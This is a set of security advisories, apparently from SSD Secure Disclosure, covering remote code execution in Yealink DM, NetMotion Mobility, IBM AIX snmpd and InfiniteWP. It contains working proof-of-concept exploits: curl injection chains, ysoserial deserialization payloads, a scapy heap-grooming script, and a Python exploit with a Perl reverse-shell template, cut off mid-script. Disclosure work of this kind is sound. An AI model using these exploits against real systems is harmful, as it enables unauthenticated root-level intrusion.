SSD Advisory – Yealink DM Pre Auth ‘root’ level RCE


Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges.

Vulnerability Summary

Yealink DM (Device Management) platform – “offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting.”

Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered.


CVE-2021-27561 and CVE-2021-27562


Two independent security researchers, Pierre Kim and Alexandre Torres, have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Yealink DM version and prior

Vendor Response

“For the YDMP new version release,  we don’t send a notification to the public, since we don’t force the customer to upgrade.

We will release a new version and upload the installation file to the official Yealink website and update the release note as well.

The update will be ready to download from our website in early 2021″

Vulnerability Analysis

By chaining a pre-auth SSRF vulnerability and a command injection vulnerability, it is possible to execute commands as root without authentication against this product, by sending a simple HTTPS request to the remote target.

Nginx configuration

By default, Nginx listens on port 443/tcp to provide TLS connectivity:

# netstat -nlapute|grep 443 tcp 0 0* LISTEN 0 16290 1180/nginx: master

By analysing the configuration of Nginx, it appears Nginx acts as a reverse proxy and the traffic to / is sent to

# cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf
upstream server_frontend_manager {
    server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s;
location / {
    proxy_pass https://server_frontend_manager;

Nginx will be used to send a specific request to a vulnerable NodeJS application.

NodeJS acting as a relay

The NodeJS dmweb application is running as yealink on

# netstat -lapute | grep 9880
tcp        0      0  *               LISTEN      yealink    21200      2789/node

# ps -auxww | grep 2789
yealink   2789  0.4  0.3 1306416 53172 ?       Ssl  05:31   0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js

The /usr/local/yealink/dmweb/app.js program is running on the loopback interface but is reachable from Nginx.

Analysis of /usr/local/yealink/dmweb/app.js

This application is a nodejs application with some dependencies. The interesting code is located in /usr/local/yealink/dmweb/api/index.js

     17 module.exports = app => {
     18     app.use('/premise', router);
     19 };


    217 router.get('/front/getPingData', (req, res) => {
    218     // res.send({"ret":1,"data":"PING ( 56 data bytes\n64 bytes from seq=0 ttl=54 time=15.084 ms\n64 bytes from seq=1 ttl=54 time=15.888 ms\n64 bytes from seq=2 ttl=54 time=15.742 ms\n64 bytes from seq=3 ttl=54 time=15.622         ms\n64 bytes from seq=4 ttl=54 time=16.384 ms\n\n--- ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
    219     // return;
    220     try {
    221         let url = req.query.url;
    222         // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
    223         let pos = req.query.pos;
    224         console.log(`url===${url}`);
    225         let headers = {
    226             'Content-Type': 'application/json',
    227             'User-Agent': req.headers['user-agent'],
    228             'x-forwarded-for': commom.getClientIP(req),
    229             token: req.session.token
    230         };
    231         request.get({
    232             url: url,
    233             headers: headers,
    234             timeout: 60000,
    235             qs: {
    236                 pos: pos
    237             }
    238         }).pipe(res);
    239     } catch (e) {
    240         console.error(e);
    241         res.send(
    242             errcode.MakeResult(
    243                 errcode.ERR,
    244                 e,
    245                 errcode.INTERNAL_ERROR,
    246                 'server.common.internal.error'
    247             )
    248         );
    249     }
    250 });

One line 17, there is a route defined for /premise, allowing to reach additional APIs.

On line 217, there is a definition for the API /premise/front/getPingData.

This function is vulnerable to SSRF:From line 217, it appears it is possible to send a HTTP request by defining an URL in GET (on line 232 from the value defined on line 221 from req.query.url) with specific headers (line 233, from value provided on line 227) and a new HTTP/HTTPS request will then be sent to the remote attacker-controlled URL.

PoC is:

curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/"

This is a basic pre-authenticated SSRF vulnerability allowing to reach internal daemons.

smserver daemon running as root on

By default, the program smserver runs as root on but firewall rules don’t allow external connections to this daemon.

# netstat -laputen|grep 9600
tcp        0      0  *               LISTEN      0          19775      1244/smserver

# ps -auxww|grep smserver
root      1244  1.6  0.2 1166932 34160 ?       SNl  05:28   0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver

smserver is a HTTP server. The previously found SSRF provided by the NodeJS server will provide a relay to send requests to the smserver as shown below:

kali$ curl --insecure ""
{"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}}

By reversing this binary, we found a command injection in the fw_restful_service_get() function located in the module /usr/local/yealink/smserver/mod/

In the function fw_restful_service_get(), the value for the GET variable zone is retrieved by the function fw_restful_get_arg_by_key() on line 16, then there is a construction of arguments on line 22 using snprintf(3).

Finally there is a call to fw_do_cmd() with the crafted command on line 27.

The fw_do_cmd() is just a wrapper to popen(3).

To reach this API, we need to send this HTTP request:;PAYLOAD;

The resulting command running as root will be:

# firewall-cmd --zone=;PAYLOAD; --list-services

Construction of the final exploit

The final path of exploitation is:

Nginx -> NodeJS -> smserver

By combining the SSRF and the injection, the final exploit is:

kali $ curl --insecure ";PAYLOAD;"

;PAYLOAD; will be executed as root without authentication on the target.

Example with /usr/bin/id:

kali $ curl --insecure ";/usr/bin/id;"

The command was executed as root on the appliance without authentication.


SSD Advisory – NetMotion Mobility Server Multiple Deserialization of Untrusted Data Lead to RCE


Find out how multiple vulnerabilities in NetMotion Mobility Server allow an unauthenticated attacker to run arbitrary code on the server with SYSTEM privileges.

Vulnerability Summary

NetMotion Mobility is “standards-compliant, client/server-based software that securely extends the enterprise network to the mobile environment. It is mobile VPN software that maximizes mobile field worker productivity by maintaining and securing their data connections as they move in and out of wireless coverage areas and roam between networks. Designed specifically for wireless environments, Mobility provides IT managers with the security and centralized control needed to effectively manage a mobile deployment. Mobility complements existing IT systems, is highly scalable, and easy to deploy and maintain”.

Several vulnerabilities in the NetMotion Mobility server allow remote attackers to cause the server to execute code due to the way the server deserialize incoming content.







An independent security researcher, Steven Seeley of Source Incite, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

NetMoition Mobility Server version 12.01.09045

Vendor Response

“On November 19, 2020, NetMotion alerted customers to security vulnerabilities in the Mobility web server and released updates for Mobility v11.x and v12.x to address them.

The vulnerabilities were fixed in versions Mobility v11.73 and v12.02, which were released on November 19, 2020. Customers should upgrade immediately to these or later versions.

NetMotion has always cautioned customers to put their servers behind a firewall. Customers who have not followed NetMotion’s recommendations (v11.73 and v12.02) for the secure configuration and deployment of their Mobility servers, and who have exposed access to the Mobility web server to untrusted networks or IP addresses, are particularly vulnerable to this attack.”

For more details see:

Vulnerability Analysis

SupportRpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the class, we can see the following code

public class SupportRpcServlet extends HttpServlet {
  public static final int SUPPORT_ZIP = 0;

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
    try {
      ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)paramHttpServletRequest.getInputStream());
      RpcData rpcData = (RpcData)objectInputStream.readObject();    // 1
      if (rpcData.validate(true)) {
        command(paramHttpServletResponse, rpcData);
      } else {
    } catch (Exception exception) {
      Events.reportWarning(186, 37175, new String[] { paramHttpServletRequest.getRemoteAddr(), exception.toString() });

At [1] a readObject is used against attacker controlled inputstream without any protections.


java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/SupportRpcServlet

RpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the class we can see:

public class EventRpcServlet extends RpcServlet implements EventRpcRequest {     // 1
  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {
    try {
      if (!EventRpcResponse.writeResponse(paramObjectOutputStream, paramInt, paramLong, paramObject))
    } catch (JniException jniException) {
      log("EventRpcServlet", (Throwable)jniException);

We can see that this servlet extends from RpcServlet at [1], so let’s check that code:

public class RpcServlet extends HttpServlet implements RpcResponseCommand {
  private RpcResponseDispatcher mDispatcher;

  private static final int MAX_REQUEST_SIZE = 5242880;

  public void init(ServletConfig paramServletConfig) throws ServletException {
    this.mDispatcher = new RpcResponseDispatcher(this, true, 5242880);

  public void destroy() {}

  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    this.mDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {      // 2
            return (RpcData)param1ObjectInputStream.readObject();

At [2] we can see it has it’s own readObject dispatcher which also tries to read in an RpcData type that is not validated or checked against attacker controlled data.


java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/EventRpcServlet

MvcUtil valueStringToObject Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.mvc.MvcServlet we can see the following code:

public class MvcServlet extends HttpServlet {
  static final long serialVersionUID = 1L;

  private String mPackage;

  public void init(ServletConfig paramServletConfig) throws ServletException {
    this.mPackage = getInitParameter("controllersPackage");
    if (null == this.mPackage)
      throw new ServletException("Could not find init parameter 'controllerPackage'");

  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);

  protected void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    if (this.mPackage != null) {
      String str1 = "";
      String str2 = paramHttpServletRequest.getRequestURI();
      int i = paramHttpServletRequest.getServletPath().length() + 1;
      if (str2.length() > i) {
        int j = str2.indexOf("/", i);
        if (j < 0)
          j = str2.length();
        str1 = str2.substring(i, j);
      String str3 = this.mPackage + "." + str1 + "Controller";
      try {
        ServletContext servletContext = getServletConfig().getServletContext();
        MvcController mvcController = (MvcController)Class.forName(str3).newInstance();
        mvcController.invoke(servletContext, paramHttpServletRequest, paramHttpServletResponse);                  // 1
      } catch (ClassNotFoundException classNotFoundException) {
        String str = "/";
        if (!str1.isEmpty())
          str = str + MvcUtil.capsToUnderscores(str1) + ".jsp";
        forwardTo(str, paramHttpServletRequest, paramHttpServletResponse);
      } catch (IllegalAccessException illegalAccessException) {
        throw new ServletException("Could not access controller '" + str3 + "'");
      } catch (InstantiationException instantiationException) {
        throw new ServletException("Could not instantiate controller '" + str3 + "'");
    } else {
      throw new ServletException("Could not determine controller package.");

It’s possible to reach [1] unauthenticated meaning which is the invoke method of the com.nmwco.server.mvc.MvcController class using attacker controlled data as the second argument.

  public final void invoke(ServletContext paramServletContext, HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException {
    this.context = paramServletContext;
    this.request = paramHttpServletRequest;
    this.response = paramHttpServletResponse;
    this.session = paramHttpServletRequest.getSession();
    if (null != this.session) {
      Object object1 = this.session.getAttribute(getSessionModelName());
      if (null != object1) {
        if (object1 instanceof MvcModel) {
          this.model = (MvcModel)object1;
          this.resultInvocation = true;
      Object object2 = this.session.getAttribute("info");
      if (null != object2) {
        paramHttpServletRequest.setAttribute("info", object2);
      Object object3 = this.session.getAttribute("error");
      if (null != object3) {
        paramHttpServletRequest.setAttribute("error", object3);
      Object object4 = this.session.getAttribute("warning");
      if (null != object4) {
        paramHttpServletRequest.setAttribute("warning", object4);
    if (null == this.model)
      this.model = new MvcModel();
    this.model.putRequestParameters(paramHttpServletRequest);           // 2

An attacker can reach [2] which is a call to MvcModel.putRequestParameters using their controlled data.

  public void putRequestParameters(HttpServletRequest paramHttpServletRequest) {
    String str = paramHttpServletRequest.getParameter("Mvc_x_Form_x_Name");
    if (null != str) {
      Object object = MvcUtil.valueStringToObject(str);    // 3
      if (object instanceof Map) = uncheckedCast(object);

At [3] the MvcUtil.valueStringToObject method is called if the attacker supplied the query parameter Mvc_x_Form_x_Name.

  public static Object valueStringToObject(String paramString) {
    Object object = null;
    if (null != paramString)
      try {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(paramString.getBytes("UTF-8"));
        Base64InputStream base64InputStream = new Base64InputStream(byteArrayInputStream);
        ObjectInputStream objectInputStream = null;
        try {
          GZIPInputStream gZIPInputStream = new GZIPInputStream((InputStream)base64InputStream);
          objectInputStream = new ObjectInputStream(gZIPInputStream);
          object = objectInputStream.readObject();    // 4
        } catch (ClassNotFoundException classNotFoundException) {

        } catch (IOException iOException) {

        } finally {
          if (null != objectInputStream)
      } catch (IOException iOException) {}
    return object;

The value of Mvc_x_Form_x_Name is decoded from base64 and gzip inflated and finally has readObject called on it. An attacker can leverage this to achieve RCE.


java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
gzip payload.bin
curl -k "https://[target]/mobility/Menu/isLoggedOn" --data-urlencode "Mvc_x_Form_x_Name=`cat payload.bin.gz | base64 -w0`"

webrepdb StatusServlet Deserialization of Untrusted Data Remote Code Execution

In the com.nmwco.server.webrepdb.StatusServlet class we can see the following code:

public class StatusServlet extends HttpServlet {
  private static final long serialVersionUID = -8733972612715355572L;

  private RpcResponseDispatcher webRepdbDispatcher = new RpcResponseDispatcher(new WebRepDbRpcResponseCommand());

  private DownloadEngineContainer container;

  public void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    this.container = (DownloadEngineContainer)paramHttpServletRequest.getServletContext().getAttribute("com.nmwco.server.webrepdb.DownloadEngineContainer");
    this.webRepdbDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {   // 1
            return (RpcData)param1ObjectInputStream.readObject();

  public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    doGet(paramHttpServletRequest, paramHttpServletResponse);

At [1] the code sets up a dispatcher for a GET or POST request using a readObject call on attacker controlled data.


For this particular service, the CommonsCollections6 gadget wasn’t firing because it wasn’t loaded into the classpath. So I am just demonstrating here that deserialization is indeed working using a gadget in the JRE.

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testing.[collab-id] > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/WebRepDb/status

You should see a DNS lookup for testing on your collab server.


SSD Advisory – IBM AIX snmpd ASN.1 OID parsing stack overflow


Find out how a vulnerability in IBM AIX’s snmpd service allows an unauthenticated attacker to trigger a stack overflow and potentially run arbitrary code on the server with root privileges.

Vulnerability Summary

IBM AIX (Advanced Interactive eXecutive) is a series of proprietary Unix operating systems developed and sold by IBM for several of its computer platforms. Originally released for the IBM RT PC RISC workstation, AIX now supports or has supported a wide variety of hardware platforms, including the IBM RS/6000 series and later POWER and PowerPC-based systems, AS400 hardware (which runs the OS IBM iSeries aka IBM System i), System/370 mainframes, PS/2 personal computers, and the Apple Network Server.

A vulnerability in AIX’s snmpd service allow unauthenticated attackers to trigger a stack overflow in the service and potentially cause it to execute arbitrary code with root privileges.


Independent security researcher, Hacker Fantastic ( hackerfantastic ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

IBM AIX 5.3 and prior

IBM AIX 6.0 is suspected as being vulnerable

NOTE: IBM AIX 7.0 and prior are considered End of Life and are no longer supported, that said, they are still very much present and being in use in large companies – and thus we urge system administrators using this OS to contact IBM for a solution

Vendor Response

As the product is not currently supported, we had no way to get a patch or vendor respond for this vulnerability.

Many of our partners consist of institutional corporations working with AIX hardware. Firms not upgraded to the latest version where this exploit still exists, may be put in high risk, which is why we chose to disclose and pay or this vulnerability, even though no response was received from the vendor.

Vulnerability Analysis

The IBM AIX snmpmibd service is vulnerable to a stack-based buffer overflow when handling large OID values with SNMP GETNEXT PDU requests.

An attacker can request an OID beginning with which will be expanded from the ASN.1 decoder into a fixed-size stack buffer, resulting in stack frame corruption and control of the $pc (program control register).

The issue can be triggered using standard system utilities such as with the
following request:

snmpgetnext -d -cpublic -v1

The above request will set the remote target $pc to the value 0x34333230. This introduces a limitation of the attack vector, as OID values can only contain the characters 0-9 & . – an attacker must make the application
return into a memory page that uses these values. On AIX the heap for a
user space application mapping begins within 0x20000000 and can be mapped as high as 0x2FFFFFFF which can be tested trivially with a malloc() loop.

This allows for remote exploitation if an attacker sends packets which
allocate bytes on the heap containing attacker encoded ASN.1 data.

We have included a simple PoC which can be used to groom the heap using an SNMP request which will decode the ASN.1 packet contents onto the heap without calling free().

The lowest possible mapping page an attacker can return into with the stack corruption is 0x2e300040. By sending a large number of initial SNMP requests, the attacker can perform heap feng shui to place attacker controlled code into a page mapping that can be reached using the $pc overwrite.

We have included two proof-of-concepts with this advisory, the first is a PoC trigger that will set the $pc to the value 0x34333230 using scapy.

The second is a simple example of how heap feng shui is possible using a different SNMP request to expand the heap with approximately 128 bytes per SNMP packet request.

However, if the snmpmibd process maps beyond the 0x2Fxxxxxx boundary, the application will crash with an out-of-memory error which makes exploitation of this issue particularly difficult. An attacker must groom the heap to contain their user code before sending the $pc overwrite.

An additional raw packet is included which sets the lowest
possible return address for the snmpmibd stack overflow of 0x2e300040.pkt


0000: 30 58 02 01  00 04 06 70  75 62 6C 69  63 A1 4B 02    0X.....public.K.
0016: 04 0E 84 9A  98 02 01 00  02 01 00 30  3D 30 3B 06    ...........0=0;.
0032: 37 2B 06 01  02 01 04 0F  01 01 88 80  80 80 03 88    7+..............
0048: 80 80 80 03  88 80 80 80  03 88 80 80  80 03 88 80    ................
0064: 80 80 03 88  80 80 80 03  88 80 80 80  03 88 80 80    ................
0080: 80 03 89 52  A1 61 5B 00  05 00                       ...R.a[...


#!/usr/bin/env python
from scapy.all import *

# we send 1865915 packets to groom 128 byte heap allocations
# until we map the page 0x2exxxxxx - this is just below the heap
# maximum limit. god speed little PoC, god speed. hitting 0x2f
# allocations will cause a DoS condition making the groom tricky
if __name__ == "__main__":
	heapaddr = 0x2003D0B8 # heap allocations begin here
	test = False
	while test == False:
		print("heap spray address %x" % heapaddr)
		heapaddr = heapaddr + (0x80*1000) # 128 bytes leaked per packet below, groom with 1000 at a time
		send(IP(dst="")/UDP()/SNMP(version=0, PDU=SNMPnext(id=1024284702,varbindlist=[SNMPvarbind(oid="")])),count=1000)
		if(heapaddr >= 0x2e310000):
			print("we are inside the return zone 0x%x" % heapaddr)
			test = True
	print("setting our $pc to 0x2e302e30")
	send(IP(dst="")/UDP()/SNMP(version=0, PDU=SNMPnext(id=1024284702,varbindlist=[SNMPvarbind(oid=" 3651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147 483651.1234.4321.99.0.0",value="A"*255)])))
	print("congratulations, you win a core dump")
#!/usr/bin/env python
from scapy.all import * 
import asn1
import sys
import os

packet =b"\x30\x59\x02\x01\x00\x04\x06\x70\x75\x62\x6C\x69\x63"

asn1pkt =b"\x06\x38\x2B\x06\x01\x02\x01\x04\x0F\x01\x01\x88\x80\x80\x80\x03"

if __name__ == "__main__":
	print("[ AIX 5.3L remote root 0day");
	encoder = asn1.Encoder()
	decoder = asn1.Decoder()
	tag, value =
	pkt = IP(dst='')/UDP(dport=161)/Raw(load=packet)/Raw(load=asn1pkt)

SSD Advisory – Auth Bypass and RCE in Infinite WP Admin Panel


Find out how a vulnerability in Infinite WP’s password reset mechanism allows an unauthenticated user to become authenticated and then carry out a Remote Code Execution.

Vulnerability Summary

InfiniteWP is “free self hosted, multiple WordPress site management solution. It simplifies your WordPress tasks with a click of a button”.

A vulnerability in InfiniteWP allows unauthenticated users to become authenticated if they know an email address of one of the users in the system, this is done through a flaw in the password reset mechanism of the product.


Independent security researcher, polict of Shielder ( ShielderSec ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Infinite WP 2.15.6 and prior

Fixed Versions

Infinite WP 2.15.7 and above

NOTE: the vulnerability was silently patched without updating the change log – therefore some versions after 2.15.6 and before 2.15.7 are also immune – the vendor has not disclosed to us what versions have this fix in place



Vendor Response

When we informed the vendor in September 2020, they stated that they were previously informed about the issue (reported to them a few months before) and they were planning to release the patch to everyone within 3-4 weeks.

They asked us to wait for Jan 2021, so that they can confirm that all their customers got patched.

A few days ago, we found out that other researcher has published his findings (around Nov 2020) and the vendor didn’t take the time to notify us of this – though they have promised they would – we have therefore decided to moved forward and released this full advisory.

Vulnerability Analysis

1. Weak password reset token

The password reset link is created by InfiniteWP Admin Panel by executing the code in function userLoginResetPassword($params) (inside controllers/appFunctions.php line 1341) :

$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));
$resetHash = sha1($hashValue);
$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

where $userDets[‘userID’] is the target user identifier and $params[“email”] is their email.An attacker only needs the user id, user email and the value produced by the call to microtime(true) in order to create the correct link and reset the victim’s password:

  • The user id is an auto-increment integer stored in the database, the default value is 1 because in order to have more users it is required to purchase the ‘manage-users’ addon (; that being said, the attached exploit script by default tries values from 1 to 5;
  • The user email can be tested before the attack takes place since there’s a different HTTP response if the email entered is not registered: an HTTP redirect to login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound means the email is not registered, otherwise it is; the attached exploit script automatically notifies if the input email is not registered;
  • The value generated by microtime(true) is the current UNIX timestamp with microseconds (, hence it can be guessed by using the HTTP “Date” header value (seconds precision) as a reference point for the dictionary creation.

By creating a dictionary list with all the possible resetHash values it is possible to guess the correct password reset token and reset the victim’s password. The attack will be successful with a maximum of 1 million tries over a 24 hours time window (the password reset token expires after 24 hours), which is a reasonable timing.

During the Proof-of-concept tests, the average total time required to successfully exploit the issues has been of 1 hour; that said the timings might differ depending on the specific network speed / congestion / configuration and the microtime call output.

At this point an attacker is able to reset the victim’s password and gain access to the Infinite WP Admin Panel, the next vulnerability will cover how to achieve authenticated Remote Code Execution on the host machine.

2. Remote Code Execution via “addFunctions” (bypass of “checkDataIsValid”)

In 2016 a remote code execution vulnerability was found in Infinite WP Admin Panel 2.8.0, which affected the /ajax.php API endpoint. The details are since publicly available at

As written in the advisory, the vulnerability was fixed by adding a call to function checkDataIsValid($action) (controllers/panelRequestManager.php line 3782):

private static function checkDataIsValid($action){
    //Restricted function access
    $functions = array('addFunctions');
    if(!in_array($action, $functions)){
        return true;
    return false;

However that check doesn’t take in consideration that PHP function names are case insensitive: by using addfunctions (notice the lowercase “f”) it is possible to bypass the patch and achieve remote code execution.



#!/usr/bin/env python3
# coding: utf8
# exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6
# tested on:
# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020
# the bug chain is made of two bugs:
# 1. weak password reset token leads to privilege escalation
# 2. rce patch from 2016 can be bypassed with same payload but lowercase
# example run:
# $ ./ -e 'a@b.c' -rh -lh
# 2020-08-13 14:45:29,496 - INFO - initiating password reset...
# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...
# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G
# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
# /bin/sh: 0: can't access tty; job control turned off
# $ id
# uid=1(daemon) gid=1(daemon) groups=1(daemon)
# $ uname -a
# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
# $ exit
# *** Connection closed by remote host ***
# polict, 13/08/2020

import sys, time
import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from concurrent.futures import as_completed
from requests_futures.sessions import FuturesSession
import logging
import logging.handlers
import datetime
from argparse import ArgumentParser
from hashlib import sha1
import socket
import telnetlib
from threading import Thread

### default settings
PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"

### argument parsing
parser = ArgumentParser()
parser.add_argument("-rh", "--rhost", dest="rhost", required=True,
            help="remote InfiniteWP Admin Panel webroot, e.g.:")
parser.add_argument("-e", "--email", dest="email",
            help="target email", required=True)
parser.add_argument("-u", '--user-id', dest="uid",
            help="user_id (in the default installation it is 1, if not set will try 1..5)")
parser.add_argument("-lh", '--lhost', dest="lhost",
            help="local ip to use for remote shell connect-back",
parser.add_argument("-ts", '--token-timestamp', dest="start_ts",
            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")
parser.add_argument("-m", "--micros", dest="micros_elapsed",
            help="number of microseconds to test (if not set 1000000 (1 second))",
parser.add_argument("-lp", '--lport', dest="lport",
            help="local port to use for remote shell connect-back",
parser.add_argument("-p", '--new-password', dest="new_password",
            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),
parser.add_argument("-d", "--debug", dest="debug_mode",
            help="enable debug mode")
args = parser.parse_args()

log = logging.getLogger(__name__)
if args.debug_mode:

handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))

### actual exploit logic
def init_pw_reset():
    global args
    start_clock = time.perf_counter()
    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    log.debug("init pw reset start ts: {}".format(start_ts))
    response ="{}/login.php".format(args.rhost), verify=False,
        "action": "resetPasswordSendMail", 
        "loginSubmit": "Send Reset Link"
    }, allow_redirects=False)
    log.debug("init pw reset returned these headers: {}".format(response.headers))
    now we could use our registered timings to restrict the bruteforce values to the minimum range
    instead of using the whole "last second" microseconds range, however we can't be 100% sure
    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now

    # calculate actual ntp-time range
    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    delta_clock = end_clock - start_clock
    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)
    log.debug("end: {}".format(end_ts))
    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
    # this takes for garanteed that the response arrives before 1 minute is elapsed
    micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds
    log.debug("micros elapsed: {}".format(micros_elapsed))

    if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:
        log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")

    # both redirects are ok because the reset hash is written in the db before sending the mail
    if response.status_code == 302 \
        and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \
            or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
        # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj
        server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')
        server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)
        log.debug("server time: {}".format(server_dt))
        this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier

        if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):
            log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") 
        args.start_ts = int(server_dt.timestamp())
        # args.micros_elapsed = 1000000

        log.error("pw reset init failed, check with debug enabled (-d)")

def generate_reset_hash(timestamp, uid):
    global args
        $hashValue = serialize(array('hashCode' => 'resetPassword', 
        'uniqueTime' => microtime(true), 
        'userPin' => $userDets['userID']));

        ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}

        $resetHash = sha1($hashValue);
    template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"
                       # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}
    serialized_resethash = template_ts_uid %(timestamp, uid)
    hash_obj = sha1(serialized_resethash.encode())
    reset_hash = hash_obj.hexdigest()
    log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))
    return reset_hash

def brute_pw_reset():
    global args, start_time
    if args.uid is None:
        # in the default installation the uid is 1, but let's try also some others in case they have installed 
        # the "manage-users" addon:
        uids = [1,2,3,4,5]
